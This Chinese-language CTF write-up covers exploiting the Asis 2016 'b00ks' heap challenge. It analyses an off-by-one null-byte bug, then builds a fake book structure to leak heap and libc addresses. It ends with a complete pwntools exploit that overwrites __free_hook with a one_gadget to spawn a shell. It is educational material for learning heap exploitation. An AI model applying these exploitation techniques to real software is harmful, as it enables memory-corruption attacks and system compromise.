Pwn堆利用学习——Off-By-One——Asis_2016_b00ks
2020-12-08 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏

本文为看雪论精华文章

看雪论坛作者ID:直木

步骤一:运行查看

是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能。
 

步骤二:查看文件类型和保护机制

64位程序;只关闭了canary
$ file Asis_2016_b00ksAsis_2016_b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped$ checksec --file=Asis_2016_b00ksRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEFull RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 Asis_2016_b00ks

步骤三:IDA反编译分析

main函数
菜单函数
输入author
输入的author_name保存在bss段的0x202040处:
创建函数 create()
输入函数read_input()(原sub_9F5)
 
这里存在Off-By-One漏洞。比如输入书名的长度为5,那传入read_input()函数的参数是书名指针和4,在read_input函数里,当i == 4时,循环了5次,读取了长度为5的字符。在最后退出循环之后,又追加了一个0,即往buf里写入了6个字符,所以此处会往buf中越界写一个字符"\x00",存在Off-By-One漏洞。
判断library有没有满的函数sub_B24:
如onCreate函数的注释所述,分析之后,得到书的结构体如下:
struct book{ int book_id; // offset:0 char* book_name; // offset:8 char* book_description; // offset:16 int book_description_size; // offset:24}
book结构体的指针保存在bss段的0x202060处,距离author_name的保存位置有0x20个字节。
 
现在来整理一下:
 
1)首先程序会要求输入author_name;
 
2)然后,创建book的时候,book_name和book_description都会各自创建一个堆;
 
3)还有,创建book的时候,还会创建一个book结构体的堆用来存放book_name和book_descrption的指针;
 
4)会调用有off_by_one漏洞的函数的地方有三处:输入author_name,book_name,book_description的地方。
 
5)可以进行编辑的地方有两处:编辑book_description和author_name。
 
6)bss段如下:
0x202040 ------------------ author_name0x202060 ------------------ 0x202068 book1 book2 ... book200x2020FF ------------------

步骤四:调试分析

不要被我的截图里的目录名影响,我的实验环境是ubuntu16x64,glibc版本是2.27。
a. 编写模版和选项函数
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argv
def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'binary = './Asis_2016_b00ks'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg(): gdb.attach(p) pause()

def createbook(name_size,name,desc_size,desc): sla('> ','1') sla(': ',str(name_size)) sla(': ',name) sla(': ',str(desc_size)) sla(': ',desc)
def printbook(id): sla('> ','4') ru(': ') for i in range(id): book_id=int(p.readline()[:-1]) ru(': ') book_name=p.readline()[:-1] ru(': ') book_des=p.readline()[:-1] ru(': ') book_author=p.readline()[:-1] return book_id,book_name,book_des,book_author
def createname(name): sla(': ',name)
def changename(name): sla('> ','5') sla(': ',name)
def editbook(book_id,new_desc): sla('> ','3') sla(': ',str(book_id)) sla(': ',new_desc)
def deletebook(book_id): sla('> ','2') sla(': ',str(book_id))
#start
# end
p.interactive()
b. 创建1个book,查看一下堆和bss。
createname("A"*32)createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
c. 攻击思路
查看程序后发现没有system等函数,保护也只是关闭了Canary,不能改写got表,所以思路就是修改__free_hook地址,让他指向shellcode,这样当我们使用free函数的时候就会自动执行shellcode,获取shell。
 
如前面分析所说,我们可以进行编辑修改的地方有book_description和author_name,且可以通过修改author_name内容来覆盖第一个book指针的最后两位。
它两可以相互覆盖,比如第一次输入32Byte的author_name,实际会产生一个33Byte的字符串,最后1Byte是\x00,然后创建一个book,那么\x00就会被覆盖;在第1个book存在的情况下去修改author_name,修改输入的长度也是32Byte,那么第1个book指针的最后两位会被\x00覆盖。
打印author_name的时候就会把book1地址连着打印出来。
 
 
那么,我们是否可以 伪造一个book ,将这 ”fake book“ 的 book_description 指针指向一个真实的book结构体的 descrition 指针。这样,通过修改这个我们伪造的 book 的 description,我们就可以修改那个真实的 book 的 description 的内存空间,这样,再通过修改此时的 description ,我们就可以做到一个任意地址读写。
 
所以可以通过我们伪造的 fake book 来修改book2 的 description 让他指向 __free_hook ,这时,我们再通过修改那个真实的 book 的 description,也就是现在指向的 __free_hook ,因为没有system等后门函数,所以将它变成我们的shellcode就好了,至于shellcode,我们可以通过 “one_gadget” 在libc中来寻找。
 
接下来的问题就是如何去构造fake book。在上面我们知道 author name那有一个漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “/x00”,在gdb中我们可以看到存放 book1 的内存之前也就是 name1和 description1 这两块内存,而 description1 我们正好可以修改,那我们只要在 description1中按照 book1 的格式伪造一块内存就能达到我们上述的目的了。
 
构造好之后要思考的是如何让bss段里的book1指针指过来,因为前面说过 book1指针可以覆盖,那么,我们只要通过合理的申请内存的大小(即让 description1 块的内容区域地址的最后两位为 “/x00”)。这样,修改author_name为32位长度之后,就能覆盖book1指针最后两位为0,就能指向我们伪造的 book 的 description 那儿去。
 
至于修改“__free_hook”,我们需要知道libc的加载位置。这个的话我们可以通过偏移来计算。当要申请的内存超大的时候,堆的申请会以mmap的形式来进行,而这样申请下的内存与libc是有着固定的偏移的,这个偏移我们通过gdb就可以调试出来。
 
d. 开始写exp调试解题,首先泄漏book1指针地址。首先输入32 字节的 author_name ,会多输一个 \x00,然后创建一个 book ,会覆盖掉\x00,使得author_name与book_struct1指针直接连在一起,然后当输出 author_name 的时候就会把book_struct1也给输出来(这里要注意申请的book1的name和description的大小,需要让description1的地址的最后两位是0)。
createname("A"*32)#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")#dbg()createbook(0x80,"aaaa",0x20,"aaaaaaaaa") # 1book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addrbook1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))leak('book1_addr = ',book1_addr)
 
e. 泄漏book2_description堆的地址。创建第2个book,在book1的description里面构造fake book,然后利用author name那的off-by-one漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “\x00”。
book1堆在book1_description堆的下面,结合前面让book1_description地址最后两位为\x00的操作,这样在bss段里book1指针就是指向book1_description的地址了,而book1_description里存放着我们伪造的fake book,伪造的fake_book里name和description存放的是book2的name和description的地址,打印的时候就能把book2的description堆的地址打印出来。
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)editbook(book_id_1,payload) # fake bookchangename("B"*32)#dbg()fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)book2_name_addr = uu64(fake_book_name)book2_desc_addr = uu64(fake_book_desc)leak('fake_book_name(book2_name_addr)=',book2_name_addr)leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)
 
f. 泄漏libc基址。方法是book2_description_addr - 偏移,查看此时mmap和libc之间的偏移。如下图所示,book2_description堆的地址是0x00007ffff7f97010,位于第二个mmap中。又因为book2_description_addr是指向chunk的user_data,没有包含prev_size和size,所以偏移为0x00007ffff7f97000 + 0x10 - 0x00007ffff79e2000
 
one_gadget地址:
libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libcleak('libc base addr = ',libc_base)
free_hook=libc_base+libc.symbols["__free_hook"]one_gadget = libc_base+ 0x4f432 # 0x4f3d5 0x4f432 0x10a41cleak('free_hook = ',free_hook)leak('one_gadget = ',one_gadget)
 
g. 两次调用editbook函数,编辑description,分别写入free_hook函数地址和one_gadget地址。最后调用free函数以getshell。现在book1指针指向book1_description(fake book),fake book里description指针指向book2结构体里description指针的地址。
所以第一次编辑description的时候,就是把free_hook的地址写入book2结构体里,把book2结构体里的description指针改成了free_hook函数地址。第二次编辑description的时候,就把one_gadget地址写入到free_hook里去了。

步骤五:构造Exp

from pwn import  *from LibcSearcher import LibcSearcherfrom sys import argv
def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'binary = './Asis_2016_b00ks'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg(): gdb.attach(p) pause()

def createbook(name_size,name,desc_size,desc): sla('> ','1') sla(': ',str(name_size)) sla(': ',name) sla(': ',str(desc_size)) sla(': ',desc)
def printbook(id): sla('> ','4') ru(': ') for i in range(id): book_id=int(p.readline()[:-1]) ru(': ') book_name=p.readline()[:-1] ru(': ') book_des=p.readline()[:-1] ru(': ') book_author=p.readline()[:-1] return book_id,book_name,book_des,book_author
def createname(name): sla(': ',name)
def changename(name): sla('> ','5') sla(': ',name)
def editbook(book_id,new_desc): sla('> ','3') sla(': ',str(book_id)) sla(': ',new_desc)
def deletebook(book_id): sla('> ','2') sla(': ',str(book_id))
#startcreatename("A"*32)#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")#dbg()createbook(0x80,"aaaa",0x20,"aaaaaaaaa")book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addrbook1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))leak('book1_addr = ',book1_addr)#dbg()
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)editbook(book_id_1,payload) # fake bookchangename("B"*32)#dbg()fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)book2_name_addr = uu64(fake_book_name)book2_desc_addr = uu64(fake_book_desc)leak('fake_book_name(book2_name_addr)=',book2_name_addr)leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)#dbg()

libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libcleak('libc base addr = ',libc_base)
free_hook=libc_base+libc.symbols["__free_hook"]one_gadget = libc_base+ 0x4f432 # 0x4f3d5 0x4f432 0x10a41cleak('free_hook = ',free_hook)leak('one_gadget = ',one_gadget)#dbg()
editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))dbg()
deletebook(2)# end
p.interactive()

参考资料

ctfwiki-off_by_one

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/

Asis_2016_b00ks

https://www.yuque.com/hshs/writeups/ovxo63

题目github地址

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks

- End -

看雪ID:直木

https://bbs.pediy.com/user-home-830671.htm

 *本文由看雪论坛 直木 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458377879&idx=1&sn=dd635128ffada185a8736ed63d8aec71&chksm=b180ee1d86f7670b99b5a9958b055aff3ab97ddbe487592e753ad6bdea49129e94183f9e61fd#rd
如有侵权请联系:admin#unsafe.sh